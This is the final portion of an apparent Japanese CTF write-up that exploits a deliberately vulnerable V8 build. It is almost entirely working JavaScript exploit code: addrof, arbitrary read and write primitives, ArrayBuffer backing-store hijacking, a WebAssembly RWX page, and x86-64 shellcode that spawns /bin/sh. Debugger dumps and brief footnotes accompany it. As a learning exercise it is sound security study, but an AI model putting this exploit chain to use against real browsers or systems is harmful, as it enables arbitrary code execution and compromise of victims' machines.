function f2i(v) {
    float_buf[0] = v;
    return uint_buf[0];
}

function i2f(v) {
    uint_buf[0] = v;
    return float_buf[0];
}

// print utils
function hexPrint(v) {
    console.log("0x" + v.toString(16));
}

// --------------------------------------------------

// addrof
// using sharing elements between float_arr and obj_arr
// ref: https://seb-sec.github.io/2020/09/28/ductf2020-pwn-or-web.html
let float_arr = [1.1];
let obj_arr = [{A:1}];

float_arr = float_arr.slice(0);
obj_arr = obj_arr.slice(0);

/*
d8> %DebugPrint(obj_arr)
DebugPrint: 0x32e808084d2d: [JSArray]
 - map: 0x32e80824394d <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x32e80820a555 <JSArray[0]>
 - elements: 0x32e808084d21 <FixedArray[1]> [PACKED_ELEMENTS]
 ...
d8> %DebugPrint(float_arr)
DebugPrint: 0x32e808084d11: [JSArray]
 - map: 0x32e8082438fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x32e80820a555 <JSArray[0]>
 - elements: 0x32e808084d01 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 ...
*/
// diff: 0x20

// pElements of float_arr = pElements of obj_arr
let obj_elm = f2i(float_arr[2]) + 0x20n; // from DebugPrint and gdb
float_arr[2] = i2f(obj_elm);

function addrof(o) {
    obj_arr[0] = o;
    return f2i(float_arr[0]) & 0xffffffffn;  // note: ptr is compressed in v8 heap
}

// AAR
// tmp_float_arr[0] <=> *(tmp_float_arr->pElements + 0x8)
function aar(addr) {
    addr -= 8n;
    // compress ptr
    if (addr % 2n == 0) {
        addr += 1n
    }

    // write elements of tmp_float_arr
    let tmp_float_arr = [1.1];
    tmp_float_arr = tmp_float_arr.slice(0);
    // save length of tmp_float_arr
    let l = f2i(tmp_float_arr[2]) & 0xffffffff00000000n;
    tmp_float_arr[2] = i2f(addr + l);

    return f2i(tmp_float_arr[0]);
}

// AAW
// tmp_float_arr[0] <=> *(tmp_float_arr->pElements + 0x8)
function aaw(addr, v) {
    addr -= 8n;
    // compress ptr
    if (addr % 2n == 0) {
        addr += 1n
    }

    // write elements of tmp_float_arr
    let tmp_float_arr = [1.1];
    tmp_float_arr = tmp_float_arr.slice(0);
    // save length of tmp_float_arr
    let l = f2i(tmp_float_arr[2]) & 0xffffffff00000000n;
    tmp_float_arr[2] = i2f(addr + l);

    tmp_float_arr[0] = i2f(v);
}

// AAW to outside of v8 heap
/*
d8> %DebugPrint(aaw_buf)
DebugPrint: 0x319708085e35: [JSArrayBuffer]
 - map: 0x31970824317d <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x319708208ba9 <Object map = 0x3197082431a5>
 - elements: 0x3197080426dd <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x55752b6c7440
...

pwndbg> x/32gx 0x319708085e35-1
0x319708085e34: 0x080426dd0824317d      0x00000400080426dd
0x319708085e44: 0x2b6c744000000000      0x2b6c78d000005575  <- backing_store (+0x14)
0x319708085e54: 0x0000000200005575      0x0000000000000000
0x319708085e64: 0x0000000000000000      0x080426dd08242c2d
0x319708085e74: 0x08085e35080426dd      0x0000000000000000
0x319708085e84: 0x0000000000000400      0x00000af15fae7000  <- at first, i overwrite here but it's false positive
0x319708085e94: 0x0000000000000000      0x0000000000000000
0x319708085ea4: 0x08085e3508042351      0x080429690824394d
0x319708085eb4: 0x08085e3500000002      0x080429690824394d
0x319708085ec4: 0x08085e3500000002      0x0804296900000000
0x319708085ed4: 0x08085e9500000002      0x0804223900000000
0x319708085ee4: 0x0824385d00000000      0x08210cc9080426dd
0x319708085ef4: 0x0824385d000000b8      0x08210cc9080426dd
0x319708085f04: 0x0824317d000000b8      0x080426dd080426dd
0x319708085f14: 0x000000000000005c      0x000055752b7532a0
0x319708085f24: 0x000055752b6c7970      0x0000000000000002
pwndbg> search -8 0x55752b6c7440
Searching for value: b'@tl+uU\x00\x00'
[anon_319708080] 0x319708085e48 0x55752b6c7440 /* '@tl+uU' <- ???
[heap]          0x55752b6c7850 0x55752b6c7440 /* '@tl+uU'
*/
// diff: 0x14

let aaw_buf = new ArrayBuffer(0x400);
let dv = new DataView(aaw_buf);
let backing_store_addr = addrof(aaw_buf) + 0x14n;

function set_address_aaw_outside(addr) {
    aaw(backing_store_addr, addr);
}

// prepare rwx page for shellcode
// stolen from pwners' scripts
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

/*
pwndbg> x/16gx 0x3f8108212ba5-1
0x3f8108212ba4: 0x080426dd08245275      0x84000000080426dd
0x3f8108212bb4: 0x0001000000007f37      0x0000ffff00000000
0x3f8108212bc4: 0x0000004800000000      0x080426dd00003f81
0x3f8108212bd4: 0x0000560d463561c0      0x00000000080426dd
0x3f8108212be4: 0x0000000000000000      0x0000000000000000
0x3f8108212bf4: 0x0000000000000000      0x0000560d46356a90
0x3f8108212c04: 0x00003f8100000000      0x0000024928a0f000  <- start of RWX page
0x3f8108212c14: 0x080877e108087629      0x08212b8d0820221d
*/
// diff: 0x68

// get rwx addr
let wasm_addr = addrof(wasm_instance);
let rwx_addr = aar(wasm_addr + 0x68n)

set_address_aaw_outside(rwx_addr)

// write shellcode
let shellcode = [72, 49, 210, 82, 72, 184, 47, 98, 105, 110, 47, 47, 115, 104, 80, 72, 137, 231, 82, 87, 72, 137, 230, 72, 141, 66, 59, 15, 5]

for (let i = 0; i < shellcode.length; i++) {
    dv.setUint8(i, shellcode[i]);
}

// Win!!
f();

Flag §

ローカルでシェル取っただけ

References §


1

Heap Exploitの簡単な問題を解いたことがある(私自身がこれ)ぐらいを想定しているが、AARとAAWが出来ると何が嬉しいかなんとなくわかっていれば問題ないと思う

2

手元でビルドするメリットも存在し、katagaitai CTF勉強会 #11 Pwnable編 - PlaidCTF 2016 Pwnable666 js_sandbox / katagaitai CTF #11 - Speaker Deckによれば、printfやインラインアセンブリ(int3)によるデバッグの効率化等があるらしい

3

脆弱性を埋め込むパッチを埋め込んでいない場合は、配列の外側を参照することになるためundefinedになる